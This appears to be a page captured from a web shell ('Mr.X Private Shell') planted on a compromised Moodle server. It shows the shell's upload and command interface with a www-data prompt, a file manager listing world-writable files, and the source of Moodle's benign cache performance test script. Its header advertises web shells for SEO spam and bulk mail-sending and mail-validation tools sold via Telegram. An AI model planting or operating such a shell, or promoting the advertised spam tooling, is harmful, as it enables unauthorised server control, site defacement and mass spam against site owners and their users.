__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Store performance test run + output script.
 *
 * @package    core_cache
 * @category   cache
 * @copyright  2012 Sam Hemelryk
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

require_once('../config.php');
require_once($CFG->dirroot . '/lib/adminlib.php');

$count = optional_param('count', 100, PARAM_INT);
$count = min($count, 100000);
$count = max($count, 0);

admin_externalpage_setup('cachetestperformance');

$applicationtable = new html_table();
$applicationtable->head = [
    get_string('plugin', 'cache'),
    get_string('result', 'cache'),
    get_string('set', 'cache'),
    get_string('gethit', 'cache'),
    get_string('getmiss', 'cache'),
    get_string('delete', 'cache'),
];
$applicationtable->data = [];
$sessiontable = clone($applicationtable);
$requesttable = clone($applicationtable);


$application = cache_definition::load_adhoc(cache_store::MODE_APPLICATION, 'cache', 'applicationtest');
$session = cache_definition::load_adhoc(cache_store::MODE_SESSION, 'cache', 'sessiontest');
$request = cache_definition::load_adhoc(cache_store::MODE_REQUEST, 'cache', 'requesttest');

$strinvalidplugin = new lang_string('invalidplugin', 'cache');
$strunsupportedmode = new lang_string('unsupportedmode', 'cache');
$struntestable = new lang_string('untestable', 'cache');
$strtested = new lang_string('tested', 'cache');
$strnotready = new lang_string('storenotready', 'cache');

foreach (core_component::get_plugin_list_with_file('cachestore', 'lib.php', true) as $plugin => $path) {
    $class = 'cachestore_' . $plugin;
    $plugin = get_string('pluginname', 'cachestore_' . $plugin);

    if (!class_exists($class) || !method_exists($class, 'initialise_test_instance') || !$class::are_requirements_met()) {
        $applicationtable->data[] = [$plugin, $strinvalidplugin, '-', '-', '-', '-'];
        $sessiontable->data[] = [$plugin, $strinvalidplugin, '-', '-', '-', '-'];
        $requesttable->data[] = [$plugin, $strinvalidplugin, '-', '-', '-', '-'];
        continue;
    }

    if (!$class::is_supported_mode(cache_store::MODE_APPLICATION)) {
        $applicationtable->data[] = [$plugin, $strunsupportedmode, '-', '-', '-', '-'];
    } else {
        $store = $class::initialise_test_instance($application);
        if ($store === false) {
            $applicationtable->data[] = [$plugin, $struntestable, '-', '-', '-', '-'];
        } else if (!$store->is_ready()) {
            $applicationtable->data[] = [$plugin, $strnotready, '-', '-', '-', '-'];
        } else {
            $result = [$plugin, $strtested, 0, 0, 0];
            $start = microtime(true);
            for ($i = 0; $i < $count; $i++) {
                $store->set('key' . $i, 'test data ' . $i);
            }
            $result[2] = sprintf('%01.4f', microtime(true) - $start);

            $start = microtime(true);
            for ($i = 0; $i < $count; $i++) {
                $store->get('key' . $i);
            }
            $result[3] = sprintf('%01.4f', microtime(true) - $start);

            $start = microtime(true);
            for ($i = 0; $i < $count; $i++) {
                $store->get('fake' . $i);
            }
            $result[4] = sprintf('%01.4f', microtime(true) - $start);

            $start = microtime(true);
            for ($i = 0; $i < $count; $i++) {
                $store->delete('key' . $i);
            }
            $result[5] = sprintf('%01.4f', microtime(true) - $start);
            $applicationtable->data[] = $result;
            $store->instance_deleted();
        }
    }

    if (!$class::is_supported_mode(cache_store::MODE_SESSION)) {
        $sessiontable->data[] = [$plugin, $strunsupportedmode, '-', '-', '-', '-'];
    } else {
        $store = $class::initialise_test_instance($session);
        if ($store === false) {
            $sessiontable->data[] = [$plugin, $struntestable, '-', '-', '-', '-'];
        } else if (!$store->is_ready()) {
            $sessiontable->data[] = [$plugin, $strnotready, '-', '-', '-', '-'];
        } else {
            $result = [$plugin, $strtested, 0, 0, 0];
            $start = microtime(true);
            for ($i = 0; $i < $count; $i++) {
                $store->set('key' . $i, 'test data ' . $i);
            }
            $result[2] = sprintf('%01.4f', microtime(true) - $start);

            $start = microtime(true);
            for ($i = 0; $i < $count; $i++) {
                $store->get('key' . $i);
            }
            $result[3] = sprintf('%01.4f', microtime(true) - $start);

            $start = microtime(true);
            for ($i = 0; $i < $count; $i++) {
                $store->get('fake' . $i);
            }
            $result[4] = sprintf('%01.4f', microtime(true) - $start);

            $start = microtime(true);
            for ($i = 0; $i < $count; $i++) {
                $store->delete('key' . $i);
            }
            $result[5] = sprintf('%01.4f', microtime(true) - $start);
            $sessiontable->data[] = $result;
            $store->instance_deleted();
        }
    }

    if (!$class::is_supported_mode(cache_store::MODE_REQUEST)) {
        $requesttable->data[] = [$plugin, $strunsupportedmode, '-', '-', '-', '-'];
    } else {
        $store = $class::initialise_test_instance($request);
        if ($store === false) {
            $requesttable->data[] = [$plugin, $struntestable, '-', '-', '-', '-'];
        } else if (!$store->is_ready()) {
            $requesttable->data[] = [$plugin, $strnotready, '-', '-', '-', '-'];
        } else {
            $result = [$plugin, $strtested, 0, 0, 0];
            $start = microtime(true);
            for ($i = 0; $i < $count; $i++) {
                $store->set('key' . $i, 'test data ' . $i);
            }
            $result[2] = sprintf('%01.4f', microtime(true) - $start);

            $start = microtime(true);
            for ($i = 0; $i < $count; $i++) {
                $store->get('key' . $i);
            }
            $result[3] = sprintf('%01.4f', microtime(true) - $start);

            $start = microtime(true);
            for ($i = 0; $i < $count; $i++) {
                $store->get('fake' . $i);
            }
            $result[4] = sprintf('%01.4f', microtime(true) - $start);

            $start = microtime(true);
            for ($i = 0; $i < $count; $i++) {
                $store->delete('key' . $i);
            }
            $result[5] = sprintf('%01.4f', microtime(true) - $start);
            $requesttable->data[] = $result;
            $store->instance_deleted();
        }
    }
}

echo $OUTPUT->header();
echo $OUTPUT->heading(get_string('storeperformance', 'cache', $count));

$possiblecounts = [1, 10, 100, 500, 1000, 5000, 10000, 50000, 100000];
$links = [];
foreach ($possiblecounts as $pcount) {
    $links[] = html_writer::link(new moodle_url($PAGE->url, ['count' => $pcount]), $pcount);
}
echo $OUTPUT->box_start('generalbox performance-test-counts');
echo get_string('requestcount', 'cache', join(', ', $links));
echo $OUTPUT->box_end();

echo $OUTPUT->heading(get_string('storeresults_application', 'cache'));
echo html_writer::table($applicationtable);

echo $OUTPUT->heading(get_string('storeresults_session', 'cache'));
echo html_writer::table($sessiontable);

echo $OUTPUT->heading(get_string('storeresults_request', 'cache'));
echo html_writer::table($requesttable);

echo $OUTPUT->footer();

Filemanager

Name Type Size Permission Actions
classes Folder 0777
locks Folder 0777
stores Folder 0777
templates Folder 0777
tests Folder 0777
README.md File 17.45 KB 0777
UPGRADING.md File 3.29 KB 0777
admin.php File 3.07 KB 0777
forms.php File 796 B 0777
testperformance.php File 7.87 KB 0777
upgrade.txt File 8.2 KB 0777
usage.php File 1.65 KB 0777
Filemanager